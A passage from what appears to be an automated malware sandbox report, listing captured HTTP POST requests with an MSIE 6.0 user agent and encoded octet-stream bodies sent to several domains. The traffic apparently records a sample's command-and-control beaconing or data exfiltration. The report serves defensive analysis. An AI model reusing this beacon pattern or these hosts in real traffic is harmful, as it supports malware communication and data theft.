59 68 67 54 61 69 62 6d 43 59 70 46 65 55 53 6c 46 61 6c 71 75 67 57 4b 62 7a 33 31 50 2f 36 66 50 35 6c 47 30 59 4c 47 30 77 74 51 75 36 45 36 41 46 2b 4e 74 63 5a 75 4b 38 57 36 58 6c 62 30 53 4b 70 6d 33 65 6a 45 39 76 73 49 6c 46 65 54 6d 41 51 77 73 32 4e 74 38 38 4a 41 33 35 6d 31 47 58 73 4b 48 52 56 6c 76 36 43 37 6b 65 63 39 43 52 54 70 56 44 6b 47 6c 4e 44 55 45 64 7a 4b 6d 76 4a 77 77 31 4f 68 2b 59 4c 58 6f 74 6a 52 6c 39 6b 30 37 34 59 2b 54 4c 6c 4d 69 6a 48 48 71 76 7a 58 6f 74 50 69 32 72 30 59 79 36 68 55 47 74 5a 4c 71 55 53 4b 78 78 65 4c 47 77 58 65 42 58 37 30 74 36 57 2b 5a 67 6b 62 73 49 6d 42 64 56 39 38 47 4a 6d 78 70 59 54 69 2f 50 71 61 6e 75 78 38 34 42 6b 5a 69 52 54 2b 41 30 77 46 64 49 46 74 70 6a 62 67 70 52 5a 53 37 53 4d 65 71 79 76 41 53 68 34 34 54 53 54 43 32 79 54 52 4a 51 4b 47 57 77 39 6a 4c 39 78 62 2b 32 56 65 6f 33 50 56 6d 6c 62 30 4e 77 45 71 44 56 66 48 32 42 75 51 5a 61 55 49 6e 70 5a 5a 57 63 34 77 43 56 6f 77 39 43 4f 44 42 54 77 76 54 2b 72 46 43 41 47 53 70 71 69 2f 53 73 52 63 74 41 3d 3d Data Ascii: ahcWHmdwnfvnnEB6FrJFuDBjLM7dADLhi0pB/yT+7ijODM8CEPF7J0zA2pcla/7W6FMzlna/rRySPWUggM7HabYQlM5zPAG9DZMzrRr+YpfT66v72G0CqqwO2giujVpFK37GiVk0Ff+9AbeCGa/ijNQXk5wVTC0YnKowSfvBHx64gZzVePZg0VVytGmtIaqmTA8KRjP3cp8KE3mwJnalB7Ry94xg8vbuYhgTaibmCYpFeUSlFalqugWKbz31P/6fP5lG0YLG0wtQu6E6AF+NtcZuK8W6Xlb0SKpm3ejE9vsIlFeTmAQws2Nt88JA35m1GXsKHRVlv6C7kec9CRTpVDkGlNDUEdzKmvJww1Oh+YLXotjRl9k074Y+TLlMijHHqvzXotPi2r0Yy6hUGtZLqUSKxxeLGwXeBX70t6W+ZgkbsImBdV98GJmxpYTi/Pqanux84BkZiRT+A0wFdIFtpjbgpRZS7SMeqyvASh44TSTC2yTRJQKGWw9jL9xb+2Veo3PVmlb0NwEqDVfH2BuQZaUInpZZWc4wCVow9CODBTwvT+rFCAGSpqi/SsRctA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.myropcb.comCache-Control: no-cacheData Raw: 36 48 35 77 66 5a 48 2f 67 50 78 4c 58 75 71 74 4d 4c 50 34 61 65 72 35 43 45 4e 50 43 44 62 53 56 55 38 75 2b 38 46 68 47 7a 36 41 51 35 39 50 56 4e 79 45 48 41 6a 47 76 69 73 52 55 4f 6d 53 67 6a 6b 75 51 6e 6f 34 57 6b 71 32 67 55 35 47 47 6a 4a 48 35 71 45 6d 57 36 57 68 49 50 69 45 54 52 6e 72 49 2f 33 47 74 46 4d 58 70 58 2f 6e 5a 6f 64 68 49 4f 57 57 64 70 37 56 59 6f 66 6a 39 32 36 64 6f 4a 63 33 75 42 38 41 37 68 79 63 54 48 52 62 4f 61 71 31 55 67 5a 69 48 74 77 74 43 69 6b 38 50 63 5a 69 39 43 71 6c 46 6a 52 70 47 55 39 68 37 52 39 43 4f 63 35 30 77 38 72 51 6b 48 64 43 53 7a 64 41 63 42 6b 2b 72 45 56 63 32 66 7a 31 48 66 46 6c 6e 39 78 57 46 41 58 68 31 44 68 33 76 57 6b 46 68 76 56 51 46 49 70 4e 75 2b 58 7a 41 39 79 45 51 78 65 71 73 35 67 67 55 6a 37 52 74 55 4a 31 72 51 75 78 63 4c 2b 36 37 5a 33 5a 43 2f 5a 59 6b 66 35 49 63 51 51 51 71 34 56 55 49 2b 43 51 38 54 62 56 6c 41 6b 79 66 31 37 37 62 54 4a 38 4a 66 56 32 79 50 57 66 64 4d 54 39 69 43 56 43 32 72 30 6b 32 4d 65 64 4e 76 53 71 38 41 78 39 2b 50 4d 62 72 5a 37 4f 36 75 2b 67 38 2b 46 7a 6c 34 52 62 55 71 4e 69 48 76 51 6f 54 74 39 2f 79 42 68 2f 2f 78 47 75 79 59 76 48 48 46 56 61 37 56 4b 4f 30 2b 79 62 5a 70 70 4f 71 31 4d 72 70 4f 68 30 43 65 71 63 69 2f 7a 57 46 55 56 68 56 4c 38 54 6f 7a 52 66 39 4d 51 58 52 70 69 6f 6e 6c 4a 73 4d 6c 6c 41 69 30 55 34 6d 45 2b 59 61 4e 63 4f 38 56 56 70 6b 64 35 2f 38 38 6f 62 63 7a 41 6b 7a 51 6c 65 32 64 39 4f 43 58 57 53 32 5a 51 49 58 58 4c 7a 72 68 34 77 41 4f 44 52 4c 62 69 75 55 33 6d 53 56 34 5a 62 74 75 4e 58 36 61 4d 66 55 57 6f 46 39 49 47 52 4f 70 64 4b 41 58 2f 54 2f 73 4a 66 69 58 55 44 50 50 6f 64 6f 68 34 36 4a 4a 7a 61 Data Ascii: 6H5wfZH/gPxLXuqtMLP4aer5CENPCDbSVU8u+8FhGz6AQ59PVNyEHAjGvisRUOmSgjkuQno4Wkq2gU5GGjJH5qEmW6WhIPiETRnrI/3GtFMXpX/nZodhIOWWdp7VYofj926doJc3uB8A7hycTHRbOaq1UgZiHtwtCik8PcZi9CqlFjRpGU9h7R9COc50w8rQkHdCSzdAcBk+rEVc2fz1HfFln9xWFAXh1Dh3vWkFhvVQFIpNu+XzA9yEQxeqs5ggUj7RtUJ1rQuxcL+67Z3ZC/ZYkf5IcQQQq4VUI+CQ8TbVlAkyf177bTJ8JfV2yPWfdMT9iCVC2r0k2MedNvSq8Ax9+PMbrZ7O6u+g8+Fzl4RbUqNiHvQoTt9/yBh//xGuyYvHHFVa7VKO0+ybZppOq1MrpOh0Ceqci/zWFUVhVL8TozRf9MQXRpionlJsMllAi0U4mE+YaNcO8VVpkd5/88obczAkzQle2d9OCXWS2ZQIXXLzrh4wAODRLbiuU3mSV4ZbtuNX6aMfUWoF9IGROpdKAX/T/sJfiXUDPPodoh46JJza
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.com-sit.comCache-Control: no-cacheData Raw: 35 42 69 75 2f 76 70 79 70 76 78 43 53 56 5a 4e 6e 57 59 63 6e 54 33 71 4d 33 39 71 7a 6e 55 4f 7a 71 77 71 47 61 4c 6a 62 4a 41 39 2f 74 53 73 49 4f 38 79 6e 53 5a 48 48 69 54 4b 7a 36 6e 66 33 70 31 76 36 57 4a 39 5a 37 42 74 76 33 52 30 32 65 65 65 41 4c 6f 45 50 64 52 79 49 52 46 70 48 55 36 58 69 6a 34 38 77 51 45 31 32 62 66 48 34 41 35 43 44 36 75 76 47 38 61 33 73 57 36 77 5a 30 4d 4c 34 70 68 62 32 46 2f 75 57 57 56 49 48 65 46 4b 43 6b 71 42 6c 64 46 5a 33 55 4f 6a 78 48 33 72 7a 56 43 73 63 32 30 6b 6d 65 33 31 50 4c 6a 30 4d 45 73 47 54 2f 56 6c 35 77 32 71 4a 61 6e 37 49 70 59 76 37 52 4e 51 5a 53 74 4a 6e 77 45 45 2b 6f 52 37 7a 76 2f 64 36 70 4a 48 4b 35 63 4f 47 65 6a 51 67 75 55 6c 35 4a 46 58 7a 6e 56 6b 2b 39 6e 7a 5a 37 6b 43 44 49 33 4c 2b 7a 4f 53 50 33 33 75 34 51 38 57 66 45 50 33 38 66 62 6f 47 49 7a 77 79 4d 56 48 69 6b 66 76 59 68 57 45 5a 55 65 4a 31 4e 55 65 6c 79 4e 63 6b 39 74 75 79 53 6b 79 78 4e 50 70 6d 42 46 54 33 76 61 68 77 76 6c 67 4f 6c 69 66 34 38 48 64 75 37 53 2f 33 50 4f 61 6f 79 39 72 56 78 74 6e 2b 4a 76 4f 2b 6b 6a 61 6b 41 4b 58 53 31 49 2b 4a 43 71 5a 52 4d 6d 2b 52 58 33 58 7a 7a 37 6d 4a 2f 4e 36 4d 71 62 37 41 34 54 2b 42 62 57 42 46 57 2f 38 70 34 73 4c 75 6b 65 66 70 59 65 2b 59 35 6f 4b 57 46 30 78 42 65 66 56 4a 2f 4f 37 67 70 6a 44 73 4d 61 37 79 59 6e 78 59 4a 67 2b 36 58 75 53 4d 56 35 4e 32 30 41 74 4e 64 6c 48 34 35 5a 55 72 79 35 2f 39 2f 67 68 72 75 67 65 59 30 55 36 4c 64 4d 59 79 61 71 66 39 68 49 6e 30 55 63 6b 68 6e 7a 45 71 57 36 4c 32 32 4b 79 38 2f 50 59 73 39 46 51 61 39 61 6e 71 66 2f 43 5a 4e 33 51 52 68 56 78 49 48 30 4e 4b 34 48 69 63 50 71 6a 6e 58 32 2f 34 45 45 35 64 79 6f 63 37 4b 38 71 6f 4b 45 47 48 56 32 41 49 74 2f 77 50 5a 38 58 44 70 6e 74 37 44 46 74 55 79 2f 2f 6b 48 70 44 30 41 45 3d Data Ascii: 5Biu/vpypvxCSVZNnWYcnT3qM39qznUOzqwqGaLjbJA9/tSsIO8ynSZHHiTKz6nf3p1v6WJ9Z7Btv3R02eeeALoEPdRyIRFpHU6Xij48wQE12bfH4A5CD6uvG8a3sW6wZ0ML4phb2F/uWWVIHeFKCkqBldFZ3UOjxH3rzVCsc20kme31PLj0MEsGT/Vl5w2qJan7IpYv7RNQZStJnwEE+oR7zv/d6pJHK5cOGejQguUl5JFXznVk+9nzZ7kCDI3L+zOSP33u4Q8WfEP38fboGIzwyMVHikfvYhWEZUeJ1NUelyNck9tuySkyxNPpmBFT3vahwvlgOlif48Hdu7S/3POaoy9rVxtn+JvO+kjakAKXS1I+JCqZRMm+RX3Xzz7mJ/N6Mqb7A4T+BbWBFW/8p4sLukefpYe+Y5oKWF0xBefVJ/O7gpjDsMa7yYnxYJg+6XuSMV5N20AtNdlH45ZUry5/9/ghrugeY0U6LdMYyaqf9hIn0UckhnzEqW6L22Ky8/PYs9FQa9anqf/CZN3QRhVxIH0NK4HicPqjnX2/4EE5dyoc7K8qoKEGHV2AIt/wPZ8XDpnt7DFtUy//kHpD0AE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora-ito.comCache-Control: no-cacheData Raw: 6e 66 46 6b 51 4b 51 69 54 66 79 53 4b 71 6e 62 50 77 30 72 4b 6e 66 31 6a 74 35 63 34 4e 43 71 47 45 70 76 55 4d 78 39 6c 52 4d 76 69 6f 4d 64 42 38 6c 37 65 77 66 64 76 62 4b 47 70 56 55 4c 2b 39 34 49 36 5a 78 45 56 38 54 39 75 6f 5a 77 34 49 66 77 5a 7a 6c 4c 46 32 38 50 30 51 2b 37 4e 58 37 63 59 4b 4f 36 30 43 56 47 37 53 6d 4e 74 67 6d 64 2b 65 74 47 67 71 66 38 6d 2b 49 7a 58 57 2f 76 30 54 53 43 52 71 37 7a 4d 4c 68 7a 78 43 62 64 57 46 57 41 46 36 4b 53 42 2b 31 5a 71 52 44 55 63 35 58 43 50 50 53 59 35 6f 57 46 62 74 2b 2f 70 73 77 56 61 79 72 45 47 6d 43 5a 6c 75 78 63 75 45 57 4b 49 7a 2b 4d 56 51 61 57 65 4b 48 7a 4f 51 42 64 78 55 53 50 78 42 39 35 74 56 4f 77 50 6c 38 2b 43 65 30 34 56 61 6e 59 35 41 43 56 4d 4d 51 6f 4c 56 4e 78 51 78 53 54 41 38 46 2f 63 64 55 4e 59 5a 54 71 2b 54 5a 72 62 38 30 77 43 57 7a 77 51 66 4e 39 30 32 63 69 6c 62 46 6a 6b 2f 64 41 7a 30 49 77 4d 35 4e 44 58 35 5a 45 53 62 36 4e 6e 67 35 64 36 6d 54 62 5a 75 38 4c 2b 75 78 73 53 50 43 4d 74 53 38 51 68 6d 53 65 4f 75 58 48 55 7a 73 72 36 53 4a 6f 39 51 51 41 62 4a 4c 31 64 4b 78 48 33 72 53 57 32 4f 47 52 6e 4d 4b 36 31 71 70 35 67 5a 6b 68 4a 55 4f 6e 74 39 46 4c 74 39 63 66 39 45 6e 65 62 55 64 47 51 6d 6a 39 34 77 42 56 37 4b 32 57 48 6f 79 55 50 57 6c 31 6d 4f 56 74 43 68 43 48 42 47 63 67 62 45 33 4f 32 78 56 35 73 54 4e 56 4e 2f 35 70 63 32 72 47 77 54 61 66 30 2b 6e 38 38 51 2b 52 78 53 50 4b 52 2b 7a 46 50 39 4b 49 61 47 6e 41 71 66 48 46 41 53 43 47 79 49 6f 46 70 53 77 47 61 47 37 62 5a 67 6b 30 6e 2b 31 42 35 70 5a 76 6e 51 49 57 48 4e 4d 33 65 4b 42 4b 65 47 54 44 72 78 52 4f 74 54 74 77 44 2b 62 59 55 79 47 6e 6b 78 4d 5a 45 34 2b 78 6a 37 5a 71 68 44 71 4c 42 51 58 79 4a 49 58 33 Data Ascii: nfFkQKQiTfySKqnbPw0rKnf1jt5c4NCqGEpvUMx9lRMvioMdB8l7ewfdvbKGpVUL+94I6ZxEV8T9uoZw4IfwZzlLF28P0Q+7NX7cYKO60CVG7SmNtgmd+etGgqf8m+IzXW/v0TSCRq7zMLhzxCbdWFWAF6KSB+1ZqRDUc5XCPPSY5oWFbt+/pswVayrEGmCZluxcuEWKIz+MVQaWeKHzOQBdxUSPxB95tVOwPl8+Ce04VanY5ACVMMQoLVNxQxSTA8F/cdUNYZTq+TZrb80wCWzwQfN902cilbFjk/dAz0IwM5NDX5ZESb6Nng5d6mTbZu8L+uxsSPCMtS8QhmSeOuXHUzsr6SJo9QQAbJL1dKxH3rSW2OGRnMK61qp5gZkhJUOnt9FLt9cf9EnebUdGQmj94wBV7K2WHoyUPWl1mOVtChCHBGcgbE3O2xV5sTNVN/5pc2rGwTaf0+n88Q+RxSPKR+zFP9KIaGnAqfHFASCGyIoFpSwGaG7bZgk0n+1B5pZvnQIWHNM3eKBKeGTDrxROtTtwD+bYUyGnkxMZE4+xj7ZqhDqLBQXyJIX3
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.stajum.comCache-Control: no-cacheData Raw: 54 53 42 51 62 39 43 37 75 76 7a 6a 67 47 49 66 59 31 77 50 30 49 50 6e 6c 50 2f 34 44 69 4c 30 42 4d 43 47 5a 59 74 79 64 4b 4f 73 32 47 45 59 50 64 6e 77 46 78 33 64 58 30 79 4e 77 78 34 70 64 37 49 64 6d 62 36 35 33 36 6d 32 6b 32 45 37 48 65 74 39 72 4a 67 61 64 4c 48 72 33 56 62 47 4b 4c 4f 6f 77 54 75 43 30 2f 37 68 6d 69 63 6e 72 50 30 52 56 69 61 6a 34 58 65 41 64 78 59 7a 42 6d 6f 7a 4d 4f 2b 4f 59 6b 47 5a 32 34 6e 4a 59 54 63 4d 53 6c 72 43 6c 72 47 32 32 70 61 4f 59 6d 4d 41 35 53 50 6e 33 77 70 63 56 76 2f 61 76 36 37 4a 2f 35 38 46 59 55 51 42 41 53 70 7a 6a 55 52 4b 68 2f 63 45 37 63 44 5a 4b 30 78 6a 69 4c 7a 39 4d 39 4c 65 72 43 36 6b 2f 35 36 52 37 71 72 70 4b 50 78 66 48 4c 74 44 61 6e 4b 39 50 5a 48 51 63 7a 52 46 75 6a 52 4c 74 5a 44 6c 45 79 58 30 6f 5a 41 64 44 38 73 33 77 34 7a 39 39 56 4d 44 2b 68 65 58 58 2b 46 67 4e 30 46 34 41 65 63 65 6f 58 63 5a 2b 6e 4d 61 59 2f 42 6a 6d 56 6e 38 34 34 76 65 71 54 46 33 69 6e 56 47 31 43 6c 6e 63 77 72 57 7a 49 45 31 39 70 37 2f 79 46 5a 55 67 44 78 74 6f 49 55 2b 71 75 65 54 4e 41 32 43 71 75 57 79 35 73 36 34 49 58 6d 52 57 65 45 55 30 7a 41 6f 6d 64 71 59 5a 30 4d 77 57 50 79 74 39 37 37 4a 54 76 73 36 46 38 41 57 54 43 67 4f 61 46 55 54 47 46 6e 31 72 51 4e 77 79 34 2b 2b 78 44 4a 70 49 45 67 4f 34 51 61 32 38 31 64 73 74 6e 38 69 2b 44 5a 4d 79 70 34 6f 79 35 47 44 72 48 45 53 65 71 31 30 44 46 73 51 58 67 44 79 6d 44 4a 41 77 69 4d 70 4a 55 42 51 4b 54 36 4a 55 47 45 64 4b 32 2f 6a 67 49 74 42 47 39 37 63 75 53 6a 2f 51 4a 62 45 45 4e 4c 4b 79 71 70 4e 39 76 52 67 49 58 6f 58 4b 34 6e 64 62 54 53 55 39 51 43 41 46 6b 68 31 7a 37 69 44 77 37 58 4f 36 4c 45 6d 6f 77 41 67 56 4e 49 4c 57 42 46 32 73 59 59 3d Data Ascii: TSBQb9C7uvzjgGIfY1wP0IPnlP/4DiL0BMCGZYtydKOs2GEYPdnwFx3dX0yNwx4pd7Idmb6536m2k2E7Het9rJgadLHr3VbGKLOowTuC0/7hmicnrP0RViaj4XeAdxYzBmozMO+OYkGZ24nJYTcMSlrClrG22paOYmMA5SPn3wpcVv/av67J/58FYUQBASpzjURKh/cE7cDZK0xjiLz9M9LerC6k/56R7qrpKPxfHLtDanK9PZHQczRFujRLtZDlEyX0oZAdD8s3w4z99VMD+heXX+FgN0F4AeceoXcZ+nMaY/BjmVn844veqTF3inVG1ClncwrWzIE19p7/yFZUgDxtoIU+queTNA2CquWy5s64IXmRWeEU0zAomdqYZ0MwWPyt977JTvs6F8AWTCgOaFUTGFn1rQNwy4++xDJpIEgO4Qa281dstn8i+DZMyp4oy5GDrHESeq10DFsQXgDymDJAwiMpJUBQKT6JUGEdK2/jgItBG97cuSj/QJbEENLKyqpN9vRgIXoXK4ndbTSU9QCAFkh1z7iDw7XO6LEmowAgVNILWBF2sYY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pupi.czCache-Control: no-cacheData Raw: 78 58 68 39 70 65 78 75 31 66 77 64 6e 62 76 59 31 35 32 44 38 76 38 77 73 31 74 45 31 71 64 46 34 4c 36 41 4d 4a 79 67 4d 67 45 34 58 53 76 4b 34 6d 78 77 30 52 57 56 30 47 46 6a 2f 6c 57 59 53 47 2b 56 39 43 42 6b 48 58 7a 6e 44 64 41 71 53 31 6e 56 65 61 36 2f 71 53 51 47 37 51 56 75 65 65 77 42 38 42 59 6b 55 53 56 62 48 54 4f 31 78 35 43 71 30 52 33 30 6c 56 48 67 34 52 53 44 74 79 6f 30 63 32 30 2b 67 45 44 79 46 58 43 48 4a 72 31 6f 4f 38 44 35 6e 69 64 53 79 47 41 76 33 43 32 64 32 51 64 43 2f 6a 33 53 4b 44 33 59 6d 34 4e 70 79 56 4b 53 45 54 36 75 32 6e 64 2b 39 31 4e 76 44 55 6c 66 4d 46 4f 49 64 56 4b 4d 36 67 61 57 74 59 72 63 41 4c 54 70 4a 65 39 44 47 53 6d 56 53 5a 34 30 78 6b 69 30 5a 61 55 49 55 4b 65 79 6b 36 65 30 35 34 37 71 66 47 32 73 46 43 71 4a 2f 6d 53 52 32 48 67 4c 33 62 72 32 79 4f 73 78 64 43 67 59 55 4f 53 79 4c 47 54 32 6b 7a 32 6a 54 48 6b 66 4a 4e 76 63 36 68 4b 71 4d 47 77 4f 37 76 6a 77 51 71 6f 77 42 4b 79 63 45 45 37 77 74 42 6d 63 79 70 6a 2f 6e 51 6b 76 77 45 48 43 46 75 79 77 79 44 6d 55 72 56 6d 36 52 70 7a 36 2b 43 47 47 71 4f 4b 48 31 75 30 4b 38 30 50 77 35 63 76 62 4e 72 45 30 52 34 70 74 50 50 41 2b 35 57 61 35 6e 4d 4e 75 71 30 45 74 4d 4a 48 39 77 58 43 51 4d 72 4e 65 58 6c 69 33 76 54 73 4b 43 48 51 35 6b 75 62 73 74 2f 74 49 78 77 36 74 50 64 55 54 76 46 6e 71 79 67 45 2b 43 4f 4c 6c 61 6c 32 78 47 4d 7a 5a 68 4d 76 30 33 4b 43 41 65 37 63 72 44 43 77 59 68 50 2b 2b 63 78 5a 42 32 6a 39 61 42 30 54 74 63 42 38 5a 66 6e 4c 64 72 36 45 45 49 33 6e 76 37 36 33 42 55 62 77 4a 58 48 66 79 53 74 76 73 4d 4e 30 51 48 78 55 32 71 34 57 6b 72 6c 74 4a 6d 4e 37 38 72 70 52 4c 48 48 5a 64 52 49 2f 4a 59 36 6c 45 38 4d 36 69 77 43 75 74 6d 6c 4e 4c 45 51 30 4f 45 64 64 2f 44 6c 6b 61 6f 62 43 42 55 6f 6e 6e 2b 4b 45 3d Data Ascii: xXh9pexu1fwdnbvY152D8v8ws1tE1qdF4L6AMJygMgE4XSvK4mxw0RWV0GFj/lWYSG+V9CBkHXznDdAqS1nVea6/qSQG7QVueewB8BYkUSVbHTO1x5Cq0R30lVHg4RSDtyo0c20+gEDyFXCHJr1oO8D5nidSyGAv3C2d2QdC/j3SKD3Ym4NpyVKSET6u2nd+91NvDUlfMFOIdVKM6gaWtYrcALTpJe9DGSmVSZ40xki0ZaUIUKeyk6e0547qfG2sFCqJ/mSR2HgL3br2yOsxdCgYUOSyLGT2kz2jTHkfJNvc6hKqMGwO7vjwQqowBKycEE7wtBmcypj/nQkvwEHCFuywyDmUrVm6Rpz6+CGGqOKH1u0K80Pw5cvbNrE0R4ptPPA+5Wa5nMNuq0EtMJH9wXCQMrNeXli3vTsKCHQ5kubst/tIxw6tPdUTvFnqygE+COLlal2xGMzZhMv03KCAe7crDCwYhP++cxZB2j9aB0TtcB8ZfnLdr6EEI3nv763BUbwJXHfyStvsMN0QHxU2q4WkrltJmN78rpRLHHZdRI/JY6lE8M6iwCutmlNLEQ0OEdd/DlkaobCBUonn+KE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.usadig.comCache-Control: no-cacheData Raw: 48 2b 36 46 46 4f 70 4b 2b 76 78 63 46 6e 45 35 7a 66 33 58 48 36 32 33 70 36 51 61 33 53 45 70 76 6b 50 77 63 49 6f 6c 6f 48 31 59 4d 6a 46 5a 56 6e 63 78 2f 74 74 72 4a 53 39 5a 33 74 47 35 4f 4c 51 5a 6a 63 45 7a 54 4c 4d 4e 64 41 33 55 59 4d 6f 58 47 50 68 7a 31 4c 6f 56 46 5a 78 79 78 48 61 59 59 43 4b 70 53 61 35 7a 32 4f 6c 57 55 6f 51 32 4b 70 78 50 34 44 44 70 70 70 34 6b 48 4b 74 4d 62 4d 54 66 68 69 68 35 62 63 30 71 69 6d 61 4e 6a 48 52 31 67 65 35 62 4a 55 38 6a 4c 6c 38 53 66 56 57 71 52 63 6a 49 6f 36 2b 33 6a 78 69 50 6f 6f 57 4a 5a 44 54 59 44 71 42 33 2b 59 43 43 4f 75 41 75 53 42 59 56 50 65 38 70 4e 78 72 79 36 70 2f 61 4c 6b 36 72 69 4a 54 51 2b 41 63 5a 56 6d 53 38 6b 61 52 76 78 77 4f 2b 5a 49 58 4b 30 33 43 2b 32 63 68 34 45 41 75 46 48 34 36 4e 61 61 62 75 72 4f 48 42 4a 4a 5a 43 67 48 61 66 54 70 35 2b 42 69 33 39 5a 67 66 70 73 30 48 63 68 36 73 54 76 6d 59 42 6e 35 62 73 2f 4d 6b 46 54 6b 4e 42 71 57 39 53 45 51 41 36 75 53 39 53 68 64 39 65 4a 73 33 37 6a 46 50 7a 7a 73 52 48 4c 59 35 39 62 65 69 46 31 47 45 56 47 4f 4f 6e 6b 2f 61 30 32 47 79 56 79 33 65 4d 6d 6e 69 54 63 44 6d 50 49 6d 66 72 68 61 43 36 30 55 69 47 4e 33 6e 53 64 69 4f 34 51 76 46 72 6d 5a 52 6f 71 7a 46 36 6a 6e 4a 61 63 54 7a 41 77 76 57 75 55 50 2f 2f 49 74 63 54 51 4c 4f 6d 49 53 66 57 78 51 68 72 2f 69 38 51 41 58 34 4f 4c 54 65 2b 32 77 55 36 58 67 55 58 51 78 33 67 70 4d 39 58 54 35 33 71 58 2b 71 36 4f 35 65 72 49 64 6a 4f 6f 37 57 6e 41 46 38 78 5a 45 5a 62 38 56 4a 61 6f 33 75 76 4f 70 57 7a 79 7a 6f 68 69 4e 6f 79 66 77 4f 58 6c 4c 5a 43 42 4f 47 4d 6f 62 2f 72 6f 4b 4a 72 67 4c 47 63 78 70 43 34 50 6d 2b 75 66 4b 6c 2b 30 43 44 57 44 42 6b 30 57 5a 2b 56 4c 72 65 41 53 58 42 79 57 74 63 48 58 39 35 4a 41 57 2b 59 51 33 78 67 44 32 30 3d Data Ascii: H+6FFOpK+vxcFnE5zf3XH623p6Qa3SEpvkPwcIoloH1YMjFZVncx/ttrJS9Z3tG5OLQZjcEzTLMNdA3UYMoXGPhz1LoVFZxyxHaYYCKpSa5z2OlWUoQ2KpxP4DDppp4kHKtMbMTfhih5bc0qimaNjHR1ge5bJU8jLl8SfVWqRcjIo6+3jxiPooWJZDTYDqB3+YCCOuAuSBYVPe8pNxry6p/aLk6riJTQ+AcZVmS8kaRvxwO+ZIXK03C+2ch4EAuFH46NaaburOHBJJZCgHafTp5+Bi39Zgfps0Hch6sTvmYBn5bs/MkFTkNBqW9SEQA6uS9Shd9eJs37jFPzzsRHLY59beiF1GEVGOOnk/a02GyVy3eMmniTcDmPImfrhaC60UiGN3nSdiO4QvFrmZRoqzF6jnJacTzAwvWuUP//ItcTQLOmISfWxQhr/i8QAX4OLTe+2wU6XgUXQx3gpM9XT53qX+q6O5erIdjOo7WnAF8xZEZb8VJao3uvOpWzyzohiNoyfwOXlLZCBOGMob/roKJrgLGcxpC4Pm+ufKl+0CDWDBk0WZ+VLreASXByWtcHX95JAW+YQ3xgD20=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pwd.orgCache-Control: no-cacheData Raw: 52 30 41 6e 50 48 6d 6e 5a 2f 30 57 37 34 4e 37 43 4b 6f 39 77 68 49 32 5a 56 4a 58 51 69 33 55 76 66 6e 2b 49 7a 50 64 59 32 2b 6e 34 61 49 48 78 42 59 38 72 34 79 2f 37 56 4d 38 77 69 79 78 6d 58 51 78 62 2b 50 39 33 39 53 46 55 35 33 68 4f 4c 57 4b 52 61 68 77 47 78 4a 72 46 32 44 50 77 68 63 4b 62 35 48 5a 7a 5a 32 57 73 30 73 58 51 56 39 6b 74 54 69 46 73 44 7a 45 49 77 47 46 64 43 35 6a 6f 70 62 70 45 4e 73 4a 31 56 34 44 78 52 30 54 6a 68 64 74 45 2f 6c 33 79 55 34 5a 4b 43 52 6e 4f 39 61 38 47 33 43 6c 46 4c 32 62 76 62 6e 48 54 5a 36 73 76 76 32 6d 49 75 42 46 75 67 68 78 6c 53 7a 48 49 33 57 54 4b 30 52 36 46 35 42 66 4f 4a 61 70 4f 6a 52 39 50 58 65 2f 7a 6b 6d 44 44 70 77 72 47 2f 79 72 6e 6c 71 50 68 41 7a 2b 6d 6e 49 36 70 55 4e 50 6b 68 50 55 63 6e 65 6d 6a 76 56 72 6e 78 72 6e 58 53 78 66 44 65 59 6b 30 47 64 6a 2b 37 77 33 58 7a 67 46 76 32 4e 47 61 38 55 6b 59 37 6f 37 65 32 6a 53 61 59 38 6c 39 62 69 41 55 59 4d 75 50 6b 52 31 64 4b 4e 6b 30 72 33 2f 4c 64 38 6e 73 51 68 4b 5a 50 2f 46 4b 33 6c 58 45 49 42 69 48 6d 71 43 30 6e 76 4c 70 37 62 58 32 45 78 30 70 67 63 2b 32 62 41 47 56 50 50 32 36 66 36 4f 41 65 46 41 57 4f 6d 73 62 49 4e 6d 4f 44 56 50 69 67 43 78 52 32 39 71 63 6d 6f 5a 78 68 72 54 51 38 4d 6b 66 68 72 43 7a 64 5a 4f 44 71 75 33 62 31 79 36 44 6a 79 70 54 32 4c 45 66 48 39 36 58 46 67 58 78 63 59 47 42 53 62 4d 73 74 58 37 79 62 49 66 6a 34 54 52 33 42 61 6f 65 31 78 58 6a 64 59 58 31 2f 2b 72 57 39 79 63 41 79 78 72 66 51 38 39 30 5a 32 4d 4e 63 64 4c 69 6b 48 6c 35 51 58 64 36 72 41 69 63 68 45 47 33 48 35 4c 39 52 67 6d 6d 2f 32 38 2b 50 42 39 55 48 70 31 54 74 2b 48 77 71 6b 4d 6a 45 67 79 2b 70 62 6f 31 43 2f 6f 4e 44 42 31 64 49 50 55 6b 41 3d 3d Data Ascii: 